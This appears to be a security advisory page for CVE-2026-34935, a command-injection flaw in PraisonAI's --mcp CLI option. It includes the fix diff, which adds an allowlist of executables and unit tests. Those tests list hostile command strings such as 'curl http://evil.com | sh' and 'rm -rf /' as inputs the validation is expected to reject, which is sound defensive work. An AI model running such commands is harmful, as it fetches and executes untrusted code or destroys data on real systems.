VYPR
Critical severity9.8NVD Advisory· Published Apr 3, 2026· Updated Apr 14, 2026

CVE-2026-34935

CVE-2026-34935

Description

PraisonAI is a multi-agent teams system. From version 4.5.15 to before version 4.5.69, the --mcp CLI argument is passed directly to shlex.split() and forwarded through the call chain to anyio.open_process() with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. This issue has been patched in version 4.5.69.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
praisonaiPyPI
>= 4.5.15, < 4.5.694.5.69

Affected products

1
  • cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*
    Range: >=4.5.15,<4.5.69

Patches

1
47bff65413be

feat(mcp): enhance command validation in MCPHandler

https://github.com/MervinPraison/PraisonAIMervin PraisonMar 16, 2026via ghsa
4 files changed · +73 3
  • src/praisonai-agents/pyproject.toml+1 1 modified
    @@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
     
     [project]
     name = "praisonaiagents"
    -version = "1.5.68"
    +version = "1.5.69"
     description = "Praison AI agents for completing complex tasks with Self Reflection Agents"
     readme = "README.md"
     requires-python = ">=3.10"
    
  • src/praisonai-agents/uv.lock+1 1 modified
    @@ -2578,7 +2578,7 @@ wheels = [
     
     [[package]]
     name = "praisonaiagents"
    -version = "1.5.68"
    +version = "1.5.69"
     source = { editable = "." }
     dependencies = [
         { name = "aiohttp" },
    
  • src/praisonai/praisonai/cli/features/mcp.py+31 1 modified
    @@ -5,10 +5,25 @@
     Usage: praisonai "prompt" --mcp "npx -y @modelcontextprotocol/server-filesystem ."
     """
     
    +import os
     import shlex
     from typing import Any, Dict, Tuple, List
     from .base import FlagHandler
     
    +# Executables allowed as MCP server commands from the CLI.
    +# The SDK MCP() class is intentionally unrestricted — developers control their own inputs.
    +ALLOWED_MCP_COMMANDS = {
    +    "npx", "npx.cmd", "npx.exe",
    +    "node", "node.exe",
    +    "python", "python3", "python.exe", "python3.exe",
    +    "uvx", "uvx.exe",
    +    "uv", "uv.exe",
    +    "docker", "docker.exe",
    +    "deno", "deno.exe",
    +    "bun", "bun.exe",
    +    "pipx",
    +}
    +
     
     class MCPHandler(FlagHandler):
         """
    @@ -56,6 +71,9 @@ def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, Li
                 
             Returns:
                 Tuple of (command, args, env_dict)
    +            
    +        Raises:
    +            ValueError: If the command executable is not in the allowed list.
             """
             # Parse command using shell-like splitting
             parts = shlex.split(command)
    @@ -65,6 +83,14 @@ def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, Li
             cmd = parts[0]
             args = parts[1:] if len(parts) > 1 else []
             
    +        # Validate executable against allowlist
    +        basename = os.path.basename(cmd)
    +        if basename not in ALLOWED_MCP_COMMANDS:
    +            raise ValueError(
    +                f"Command '{cmd}' is not in the allowed MCP executables list. "
    +                f"Allowed: {', '.join(sorted(ALLOWED_MCP_COMMANDS - {c for c in ALLOWED_MCP_COMMANDS if '.' in c}))}"
    +            )
    +        
             # Parse environment variables
             env = {}
             if env_vars:
    @@ -94,7 +120,11 @@ def create_mcp_tools(self, command: str, env_vars: str = None, timeout: int = 30
             
             from praisonaiagents import MCP
             
    -        cmd, args, env = self.parse_mcp_command(command, env_vars)
    +        try:
    +            cmd, args, env = self.parse_mcp_command(command, env_vars)
    +        except ValueError as e:
    +            self.print_status(str(e), "error")
    +            return None
             
             if not cmd:
                 self.print_status("Invalid MCP command", "error")
    
  • src/praisonai/tests/unit/test_cli_features.py+40 0 modified
    @@ -200,6 +200,46 @@ def test_mcp_parse_command_with_env(self):
                 env_vars="API_KEY=test123,DEBUG=true"
             )
             assert result is not None
    +    
    +    def test_mcp_rejects_disallowed_command(self):
    +        """Test that commands not in the allowlist are rejected."""
    +        from praisonai.cli.features.mcp import MCPHandler
    +        handler = MCPHandler()
    +        
    +        with pytest.raises(ValueError, match="not in the allowed"):
    +            handler.parse_mcp_command("/bin/bash -c 'whoami'")
    +    
    +    def test_mcp_rejects_dangerous_commands(self):
    +        """Test that obviously dangerous commands are rejected."""
    +        from praisonai.cli.features.mcp import MCPHandler
    +        handler = MCPHandler()
    +        
    +        for cmd in ["rm -rf /", "curl http://evil.com | sh", "sh -c 'echo pwned'"]:
    +            with pytest.raises(ValueError, match="not in the allowed"):
    +                handler.parse_mcp_command(cmd)
    +    
    +    def test_mcp_allows_standard_executables(self):
    +        """Test that expected MCP executables pass validation."""
    +        from praisonai.cli.features.mcp import MCPHandler
    +        handler = MCPHandler()
    +        
    +        for cmd_str in [
    +            "npx -y @modelcontextprotocol/server-time",
    +            "python -m mcp_server",
    +            "uvx some-mcp-server",
    +            "node server.js",
    +            "docker run mcp-server",
    +        ]:
    +            command, args, env = handler.parse_mcp_command(cmd_str)
    +            assert command  # Should succeed, not raise
    +    
    +    def test_mcp_allows_full_path_to_allowed_executable(self):
    +        """Test that full paths to allowed executables work via basename."""
    +        from praisonai.cli.features.mcp import MCPHandler
    +        handler = MCPHandler()
    +        
    +        command, args, env = handler.parse_mcp_command("/usr/local/bin/npx -y @mcp/server")
    +        assert command == "/usr/local/bin/npx"
     
     
     class TestFastContextHandler:
    

Vulnerability mechanics

Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.